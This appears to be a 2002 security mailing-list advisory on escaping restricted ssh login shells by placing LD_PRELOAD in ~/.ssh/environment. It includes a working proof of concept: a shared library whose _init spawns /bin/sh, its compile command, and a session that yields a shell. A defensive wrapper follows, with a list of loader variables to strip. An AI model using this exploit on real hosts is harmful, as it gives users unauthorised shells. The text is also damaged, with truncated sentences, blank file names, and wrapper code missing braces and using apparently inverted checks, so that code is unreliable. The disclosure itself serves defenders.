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ssh environment - circumvention of restricted shells

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Date: Mon, 24 Jun 2002 20:08:12 -0400
From: ari <>
Subject: ssh environment - circumvention of restricted shells

Given the similarities with certain other security issues, i'm surprised
this hasn't been discussed earlier.  If it has, people simply haven't
paid it enough attention.

This problem is not necessarily ssh-specific, though most telnet daemons
that support environment passing should already be configured to remove
dangerous variables due to a similar (and more serious) issue back in
'95 (ref: [1]).  I will give ssh-based examples here.

*** scenario one:

Let's say admin bob has a host that he wants to give people ftp access
to.  Bob doesn't want anyone to have the ability to actually _log into_
his system, so instead of giving users normal shells, or even no shells,
bob gives them all (say) /usr/sbin/nologin, a program he wrote himself
in C to essentially log the attempt to syslog and exit, effectively
ending the user's session.  As far as most people are concerned, the
user can't do much with this aside from, say, setting up an encrypted

The thing is, bob's system uses dynamic libraries (as most do), and
/usr/sbin/nologin is dynamically linked (as most such programs are).  If
a user can set his environment variables (e.g. by uploading a
'.ssh/environment' file) and put some arbitrary file on the system (e.g.
''), he can bypass any functionality of /usr/sbin/nologin
completely via LD_PRELOAD (or another member of the LD_* environment

The user can now gain a shell on the system (with his own privileges, of
course, barring any 'UseLogin' issues (ref: [2])), and administrator
bob, if he were aware of what just occurred, would be extremely unhappy.

Granted, there are all kinds of interesting ways to (more or less) do
away with this problem.  Bob could just grit his teeth and give the ftp
users a nonexistent shell, or he could statically compile nologin,
assuming his operating system comes with static libraries.  Bob could
also, humorously, make his nologin program setuid and let the standard C
library take care of the situation.  Then, of course, there are also the
ssh-specific access controls such as AllowGroup and AllowUsers.  These
may appease the situation in this scenario, but it does not correct the

*** scenario <n>:

Now, what happens if bob, instead of using /usr/sbin/nologin, wants to
use (for example) some BBS-type interface that he wrote up or
downloaded?  It can be a script written in perl or tcl or python, or it
could be a compiled program; doesn't matter.  Additionally, bob need not
be running an ftp server on this host; instead, perhaps bob uses nfs or
veritas to mount user home directories from a fileserver on his network;
this exact setup is (unfortunately) employed by many bastion hosts,
password management hosts and mail servers---to name a few.  Perhaps bob
runs an ISP, and replaces the user's shell when he doesn't pay.  With
all of these possible (and common) scenarios, bob's going to have a
somewhat more difficult time getting around the problem.

Compiling the program statically may not be an option; hell, bob may not
have the source code, or even if he does, he may not have the know-how
to replace arbitrary system commands without breaking things.  He could
compile a static wrapper, assuming that his operating system comes with
static libraries, or he _could_ write a setuid wrapper that just calls
setuid(getuid()) before executing the menu-based program, again to allow
the C library to take care of his situation.  Still, all of this may
entail replacing arbitrary system commands that may have been previously
explicitly set as user shells.

Ideally, bob shouldn't need to take such seemingly odd, nonstandard
precautions.  Additionally, should his libc not properly deal with the
LD_* family for setuid programs, suddenly bob may find himself with an
even larger (ahem, marginally larger) problem.

I previously reported this problem to so that openssh
would have a chance to take care of the situation or discuss it further,
and i had planned the same for ssh communications.  However, decided that this was unimportant, and carbon copied
the mailing list with his opinion.

Exploitation of the problem is simple.  The circumvention code would be
compiled into a dynamic library and LD_PRELOAD=/path/to/ should
be placed into ~user/.ssh/environment (a similar environment option may
be appended to public keys in the authohrized_keys file).  If no
dynamically loadable programs are executed, this will have no effect.

--- sample session of exploitation ---
bobuser1% ssh bobserver
evil@bobserver's password:

    User evil is not allowed to log in here.  Please use one of
    the bobuser systems for shell access and account maintenance.

    For assistance, please call the help desk at extension 5432.

Connection to bobserver closed.
bobuser1% pwd
bobuser1% df -k |grep home
bobfs:/home   [...]   [...]   [...]   68%   /home
bobuser1% cat >evilso.c
#include <unistd.h>

void _init(void) {
	execl("/bin/sh", "sh", 0);
bobuser1% gcc -o -shared -nostdlib evilso.c -Wall
bobuser1% echo "LD_PRELOAD=/home/evil/" >.ssh/environment
bobuser1% ssh bobserver
evil@bobserver's password:
$ unset LD_PRELOAD
$ uname -n
$ who am i
--- end sample session ---

*** potential workaround:

First and foremost, allow only specific users (AllowUsers) or groups
(AllowGroups) login access with ssh controls, if this is feasible on
your network.  This would be the best workaround, but it is not a
solution to the problem.

ISPs and universities (along with similarly affected organizations)
should compile their rejection (or otherwise restricted) binaries
statically (assuming your operating system comes with static libraries).
A sample static/setuid wrapper is appended, and an alternate static
wrapper is given in [1].

Ideally, sshd (and all remote access programs that allow user-definable
environments) should strip any environment settings that libc ignores
for setuid programs.


A sample wrapper is given below, along with compiling instructions.
References follow.

--- sample wrapper ---
/* This is a shell wrapper to remove variables from the login
 * environment before executing the desired shell.
 * While this program should preferably be statically compiled, it was
 * also written to accomodate those systems that do not ship with static
 * libraries.  If your system does not have static libraries, make the
 * binary setuid-someuser (may be non-root) instead.

#include <unistd.h>
#include <string.h>
#include <stdio.h>

/* include appended slash */
#define PREPATH    "/realshells/"

void stripenv(envp)
	char **envp;
	/* the following entries are based on Lawrence R. Rogers'
	 * wrapper in cert advisory CA-1995-14 */

	register char **p1, **p2;

	for (p1 = p2 = envp; *p1; p1++) {
		if (memcmp(*p1, "LD_", 3) ||
		    memcmp(*p1, "_RLD", 4) ||
		    memcmp(*p1, "LIBPATH=", 8) ||
		    memcmp(*p1, "ELF_LD_", 7) ||
		    memcmp(*p1, "AOUT_LD_", 8) ||
		    memcmp(*p1, "IFS=", 4)) continue;

		*p2++ = *p1;
	*p2 = 0;

int main(argc, argv, envp)
	int argc;
	char **argv;
	char **envp;
	int fnl, ppl;

	if (setuid(getuid())) {

	if (*argv[0] != '-') {
		/* not a login shell */

	fnl = strlen(argv[0]) - 1;  /* minus prepended dash */
	ppl = strlen(PREPATH);

		char fn[fnl + ppl + 1];
		memcpy (fn, PREPATH, ppl);
		memcpy (fn + ppl, (argv[0] + 1), fnl);
		*(fn + ppl + fnl) = 0;

		execve (fn, argv, envp);

--- end sample setuid wrapper ---

[the following instructions are generalizations and will need to be
adjusted for some operating systems]

If your system supports static libraries:

  Compiling (with gcc):
	% gcc -o swrapper swrapper.c -O -static -s -Wall
	% ldd swrapper
	ldd: tcsh: not a dynamic executable

  Example setup:
	# mkdir /realshells
	# ls -l /usr/sbin/nologin
	-rwxr-x--x   1 root   root  5400 Dec 31  1999 /usr/sbin/nologin
	# cp /usr/sbin/nologin /realshells/
	# cp swrapper /usr/sbin/nologin
	# ls -l /usr/bin/menulogin
	-rwxr-x--x   1 root   root 19200 Dec 31  1999 /usr/bin/menulogin
	# cp /usr/bin/menulogin /realshells/
	# cp swrapper /usr/bin/menulogin

If your system does not support static libraries:

  Compiling (with gcc):
	% gcc -o swrapper swrapper.c -O -s -Wall

  Example setup:
	(follow setup for statically-blessed systems, plus:)
	# chown user:group /usr/sbin/nologin /usr/bin/menulogin
	# chmod 4111 /usr/sbin/nologin /usr/bin/menulogin
	# ls -l /usr/sbin/nologin /usr/bin/menulogin
	---s--x--x   1 user  group  4096 Jun 24 01:01 /usr/sbin/nologin
	---s--x--x   1 user  group  4096 Jun 24 01:01 /usr/bin/menulogin

 'user' and 'group' may be the user and group of your preference.

	[1] CERT Advisory CA-1995-14,
	[2] SecurityFocus bugtraq id 3614,

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